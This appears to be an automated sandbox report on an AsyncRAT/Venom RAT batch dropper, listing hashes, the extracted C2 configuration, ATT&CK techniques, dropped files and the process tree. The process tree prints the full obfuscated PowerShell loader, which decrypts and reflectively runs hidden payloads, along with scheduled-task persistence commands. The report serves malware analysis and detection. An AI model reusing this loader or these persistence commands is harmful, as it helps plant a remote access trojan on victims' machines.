asyncrat | 4ba666d2a43f4f36ee814d77cf103645e3091dcda9ee350a72f1857a49d62f2d

Analysis

max time kernel
540s
max time network
438s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
12-08-2024 17:46

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General

Target

Virus.bat
Size

282KB
MD5

6321399b9f2a346f9dcd5ddcf0d04837
SHA1

491a27119ef1c8cbe7bafc270cd61d473f404efa
SHA256

4ba666d2a43f4f36ee814d77cf103645e3091dcda9ee350a72f1857a49d62f2d
SHA512

30507019b3f140736a41537662936ce6a3b76b9b38e597e462772dab6cbdfb7821dd10904d379b2ece5911c11ec68c5b2500d2938b0ea08d2837418349ef166b
SSDEEP

6144:NoS40TIG7jmb/lrUlPp4L2yoXhb2yz+FAjFQD4mT5nNfxWFzk/7+JX:NoS40Tr7M/ilRa2jsyCFrL5nB0iSX

Score

10^/10

asyncrat venom clients execution rat

Malware Config

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

born-brandon.gl.at.ply.gg:55020

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
true
install_file
Installer.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/1564-62-0x000002539B360000-0x000002539B376000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2208	powershell.exe
3288	powershell.exe
1564	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
1924	Installer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4300	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2972	schtasks.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
2208	powershell.exe
2208	powershell.exe
3288	powershell.exe
3288	powershell.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
4280	taskmgr.exe
4280	taskmgr.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
4280	taskmgr.exe
1924	Installer.exe
1924	Installer.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeIncreaseQuotaPrivilege	3288	powershell.exe
Token: SeSecurityPrivilege	3288	powershell.exe
Token: SeTakeOwnershipPrivilege	3288	powershell.exe
Token: SeLoadDriverPrivilege	3288	powershell.exe
Token: SeSystemProfilePrivilege	3288	powershell.exe
Token: SeSystemtimePrivilege	3288	powershell.exe
Token: SeProfSingleProcessPrivilege	3288	powershell.exe
Token: SeIncBasePriorityPrivilege	3288	powershell.exe
Token: SeCreatePagefilePrivilege	3288	powershell.exe
Token: SeBackupPrivilege	3288	powershell.exe
Token: SeRestorePrivilege	3288	powershell.exe
Token: SeShutdownPrivilege	3288	powershell.exe
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeSystemEnvironmentPrivilege	3288	powershell.exe
Token: SeRemoteShutdownPrivilege	3288	powershell.exe
Token: SeUndockPrivilege	3288	powershell.exe
Token: SeManageVolumePrivilege	3288	powershell.exe
Token: 33	3288	powershell.exe
Token: 34	3288	powershell.exe
Token: 35	3288	powershell.exe
Token: 36	3288	powershell.exe
Token: SeDebugPrivilege	4280	taskmgr.exe
Token: SeSystemProfilePrivilege	4280	taskmgr.exe
Token: SeCreateGlobalPrivilege	4280	taskmgr.exe
Token: SeIncreaseQuotaPrivilege	3288	powershell.exe
Token: SeSecurityPrivilege	3288	powershell.exe
Token: SeTakeOwnershipPrivilege	3288	powershell.exe
Token: SeLoadDriverPrivilege	3288	powershell.exe
Token: SeSystemProfilePrivilege	3288	powershell.exe
Token: SeSystemtimePrivilege	3288	powershell.exe
Token: SeProfSingleProcessPrivilege	3288	powershell.exe
Token: SeIncBasePriorityPrivilege	3288	powershell.exe
Token: SeCreatePagefilePrivilege	3288	powershell.exe
Token: SeBackupPrivilege	3288	powershell.exe
Token: SeRestorePrivilege	3288	powershell.exe
Token: SeShutdownPrivilege	3288	powershell.exe
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeSystemEnvironmentPrivilege	3288	powershell.exe
Token: SeRemoteShutdownPrivilege	3288	powershell.exe
Token: SeUndockPrivilege	3288	powershell.exe
Token: SeManageVolumePrivilege	3288	powershell.exe
Token: 33	3288	powershell.exe
Token: 34	3288	powershell.exe
Token: 35	3288	powershell.exe
Token: 36	3288	powershell.exe
Token: SeIncreaseQuotaPrivilege	3288	powershell.exe
Token: SeSecurityPrivilege	3288	powershell.exe
Token: SeTakeOwnershipPrivilege	3288	powershell.exe
Token: SeLoadDriverPrivilege	3288	powershell.exe
Token: SeSystemProfilePrivilege	3288	powershell.exe
Token: SeSystemtimePrivilege	3288	powershell.exe
Token: SeProfSingleProcessPrivilege	3288	powershell.exe
Token: SeIncBasePriorityPrivilege	3288	powershell.exe
Token: SeCreatePagefilePrivilege	3288	powershell.exe
Token: SeBackupPrivilege	3288	powershell.exe
Token: SeRestorePrivilege	3288	powershell.exe
Token: SeShutdownPrivilege	3288	powershell.exe
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeSystemEnvironmentPrivilege	3288	powershell.exe
Token: SeRemoteShutdownPrivilege	3288	powershell.exe
Token: SeUndockPrivilege	3288	powershell.exe
Token: SeManageVolumePrivilege	3288	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
4280	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe
2100	taskmgr.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 1640	1960	cmd.exe	85
PID 1960 wrote to memory of 1640	1960	cmd.exe	85
PID 1640 wrote to memory of 3752	1640	net.exe	86
PID 1640 wrote to memory of 3752	1640	net.exe	86
PID 1960 wrote to memory of 2208	1960	cmd.exe	91
PID 1960 wrote to memory of 2208	1960	cmd.exe	91
PID 2208 wrote to memory of 3288	2208	powershell.exe	95
PID 2208 wrote to memory of 3288	2208	powershell.exe	95
PID 2208 wrote to memory of 4236	2208	powershell.exe	99
PID 2208 wrote to memory of 4236	2208	powershell.exe	99
PID 4236 wrote to memory of 1376	4236	WScript.exe	100
PID 4236 wrote to memory of 1376	4236	WScript.exe	100
PID 1376 wrote to memory of 4616	1376	cmd.exe	102
PID 1376 wrote to memory of 4616	1376	cmd.exe	102
PID 4616 wrote to memory of 1824	4616	net.exe	103
PID 4616 wrote to memory of 1824	4616	net.exe	103
PID 1376 wrote to memory of 1564	1376	cmd.exe	104
PID 1376 wrote to memory of 1564	1376	cmd.exe	104
PID 1564 wrote to memory of 3932	1564	powershell.exe	106
PID 1564 wrote to memory of 3932	1564	powershell.exe	106
PID 1564 wrote to memory of 4120	1564	powershell.exe	108
PID 1564 wrote to memory of 4120	1564	powershell.exe	108
PID 4120 wrote to memory of 4300	4120	cmd.exe	110
PID 4120 wrote to memory of 4300	4120	cmd.exe	110
PID 3932 wrote to memory of 2972	3932	cmd.exe	111
PID 3932 wrote to memory of 2972	3932	cmd.exe	111
PID 4120 wrote to memory of 1924	4120	cmd.exe	113
PID 4120 wrote to memory of 1924	4120	cmd.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Virus.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:3752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cyfcDUDNs/jAdenkeODuxCd4AdqjQy0Et9vvWdRGzLU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jfRO1w90VFlfdExtAE1Tww=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UhuLY=New-Object System.IO.MemoryStream(,$param_var); $VByGC=New-Object System.IO.MemoryStream; $qzeuw=New-Object System.IO.Compression.GZipStream($UhuLY, [IO.Compression.CompressionMode]::Decompress); $qzeuw.CopyTo($VByGC); $qzeuw.Dispose(); $UhuLY.Dispose(); $VByGC.Dispose(); $VByGC.ToArray();}function execute_function($param_var,$param2_var){ $nxOxu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXzPY=$nxOxu.EntryPoint; $uXzPY.Invoke($null, $param2_var);}$lfFvl = 'C:\Users\Admin\AppData\Local\Temp\Virus.bat';$host.UI.RawUI.WindowTitle = $lfFvl;$ebhTC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($lfFvl).Split([Environment]::NewLine);foreach ($aEMsK in $ebhTC) { if ($aEMsK.StartsWith(':: ')) { $RMQmu=$aEMsK.Substring(3); break; }}$payloads_var=[string[]]$RMQmu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_338_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_338.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3288
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_338.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_338.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1376
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4616
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:1824
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cyfcDUDNs/jAdenkeODuxCd4AdqjQy0Et9vvWdRGzLU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jfRO1w90VFlfdExtAE1Tww=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UhuLY=New-Object System.IO.MemoryStream(,$param_var); $VByGC=New-Object System.IO.MemoryStream; $qzeuw=New-Object System.IO.Compression.GZipStream($UhuLY, [IO.Compression.CompressionMode]::Decompress); $qzeuw.CopyTo($VByGC); $qzeuw.Dispose(); $UhuLY.Dispose(); $VByGC.Dispose(); $VByGC.ToArray();}function execute_function($param_var,$param2_var){ $nxOxu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXzPY=$nxOxu.EntryPoint; $uXzPY.Invoke($null, $param2_var);}$lfFvl = 'C:\Users\Admin\AppData\Roaming\startup_str_338.bat';$host.UI.RawUI.WindowTitle = $lfFvl;$ebhTC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($lfFvl).Split([Environment]::NewLine);foreach ($aEMsK in $ebhTC) { if ($aEMsK.StartsWith(':: ')) { $RMQmu=$aEMsK.Substring(3); break; }}$payloads_var=[string[]]$RMQmu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1564
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Installer" /tr '"C:\Users\Admin\AppData\Roaming\Installer.exe"' & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3932
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Installer" /tr '"C:\Users\Admin\AppData\Roaming\Installer.exe"'
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2972
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDADF.tmp.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4120
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:4300
        
        C:\Users\Admin\AppData\Roaming\Installer.exe
        
        "C:\Users\Admin\AppData\Roaming\Installer.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1924

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4280

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Filesize
64KB

MD5
d2fb266b97caff2086bf0fa74eddb6b2

SHA1
2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

SHA256
b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

SHA512
c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

Filesize
4B

MD5
f49655f856acb8884cc0ace29216f511

SHA1
cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

SHA256
7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

SHA512
599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Filesize
944B

MD5
6bd369f7c74a28194c991ed1404da30f

SHA1
0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

SHA256
878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

SHA512
8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2379085ef743f418e526fd71ba869b25

SHA1
fa06aab17b3d0d2d93f93c68c16f8716a0ae0223

SHA256
51770c4bad1027b970a118f7a706f6805570716ff07b0786423b400ec977d489

SHA512
1f70c7fb84da459efc40d826066420b266b1e2789cd3df787ecf304148c077a658693965653bceb692c1714548812a9a4d0d59a197c0807b6734ffb385a9d4b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xtvzkgw2.fo3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpDADF.tmp.bat

Filesize
153B

MD5
7c2193201e3a3ba17c2ef8999d0a4f0f

SHA1
4fca32021026797da2f567c94e0df6ab555a4691

SHA256
216cefa5fdd59777c1f77aef3fe0e2d23752c3c5b8dfa0b7faf46faf8ac19be9

SHA512
07ac44f05d4edf1a03ca66b46e47c02c305f11f4d86be0dde53ca9cbeff9ff618fa385c858732d1352935f1bbbc3e9faf042da6167fdb300ce6d679f558aab11

Download Submit
C:\Users\Admin\AppData\Roaming\Installer.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_338.bat

Filesize
282KB

MD5
6321399b9f2a346f9dcd5ddcf0d04837

SHA1
491a27119ef1c8cbe7bafc270cd61d473f404efa

SHA256
4ba666d2a43f4f36ee814d77cf103645e3091dcda9ee350a72f1857a49d62f2d

SHA512
30507019b3f140736a41537662936ce6a3b76b9b38e597e462772dab6cbdfb7821dd10904d379b2ece5911c11ec68c5b2500d2938b0ea08d2837418349ef166b

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_338.vbs

Filesize
115B

MD5
bd4034bf772783539f05d1c7967f3c14

SHA1
b698a712f522a54139f1e4bdeb71bcc8eefffdaf

SHA256
f7127008518c221a6c0310f80c12d932935f2e38296816e252fdb14a830016f8

SHA512
8d503773668a47b1b9576874f5aa7d1a6172ce6edf76b0daffd67cbc93e1d48b975b781b0188ae25cea7f3f2333229129313aae8ce2bf24b1a764ac990e4242c

Download Submit
memory/1564-62-0x000002539B360000-0x000002539B376000-memory.dmp

Filesize
88KB

Download
memory/1924-80-0x00000113F4960000-0x00000113F49A4000-memory.dmp

Filesize
272KB

Download
memory/1924-81-0x00000113F4A30000-0x00000113F4AA6000-memory.dmp

Filesize
472KB

Download
memory/2100-93-0x00000212495E0000-0x00000212495E1000-memory.dmp

Filesize
4KB

Download
memory/2100-94-0x00000212495E0000-0x00000212495E1000-memory.dmp

Filesize
4KB

Download
memory/2100-87-0x00000212495E0000-0x00000212495E1000-memory.dmp

Filesize
4KB

Download
memory/2100-92-0x00000212495E0000-0x00000212495E1000-memory.dmp

Filesize
4KB

Download
memory/2100-97-0x00000212495E0000-0x00000212495E1000-memory.dmp

Filesize
4KB

Download
memory/2100-96-0x00000212495E0000-0x00000212495E1000-memory.dmp

Filesize
4KB

Download
memory/2100-86-0x00000212495E0000-0x00000212495E1000-memory.dmp

Filesize
4KB

Download
memory/2100-85-0x00000212495E0000-0x00000212495E1000-memory.dmp

Filesize
4KB

Download
memory/2100-95-0x00000212495E0000-0x00000212495E1000-memory.dmp

Filesize
4KB

Download
memory/2208-0-0x00007FFBE8ED3000-0x00007FFBE8ED5000-memory.dmp

Filesize
8KB

Download
memory/2208-14-0x000001B9C44A0000-0x000001B9C44D6000-memory.dmp

Filesize
216KB

Download
memory/2208-13-0x000001B9AA140000-0x000001B9AA148000-memory.dmp

Filesize
32KB

Download
memory/2208-12-0x00007FFBE8ED0000-0x00007FFBE9991000-memory.dmp

Filesize
10.8MB

Download
memory/2208-63-0x00007FFBE8ED0000-0x00007FFBE9991000-memory.dmp

Filesize
10.8MB

Download
memory/2208-11-0x00007FFBE8ED0000-0x00007FFBE9991000-memory.dmp

Filesize
10.8MB

Download
memory/2208-10-0x000001B9AA160000-0x000001B9AA182000-memory.dmp

Filesize
136KB

Download
memory/3288-30-0x00007FFBE8ED0000-0x00007FFBE9991000-memory.dmp

Filesize
10.8MB

Download
memory/3288-27-0x00007FFBE8ED0000-0x00007FFBE9991000-memory.dmp

Filesize
10.8MB

Download
memory/3288-25-0x00007FFBE8ED0000-0x00007FFBE9991000-memory.dmp

Filesize
10.8MB

Download
memory/3288-26-0x00007FFBE8ED0000-0x00007FFBE9991000-memory.dmp

Filesize
10.8MB

Download
memory/4280-44-0x000001BB501E0000-0x000001BB501E1000-memory.dmp

Filesize
4KB

Download
memory/4280-42-0x000001BB501E0000-0x000001BB501E1000-memory.dmp

Filesize
4KB

Download
memory/4280-43-0x000001BB501E0000-0x000001BB501E1000-memory.dmp

Filesize
4KB

Download
memory/4280-38-0x000001BB501E0000-0x000001BB501E1000-memory.dmp

Filesize
4KB

Download
memory/4280-32-0x000001BB501E0000-0x000001BB501E1000-memory.dmp

Filesize
4KB

Download
memory/4280-33-0x000001BB501E0000-0x000001BB501E1000-memory.dmp

Filesize
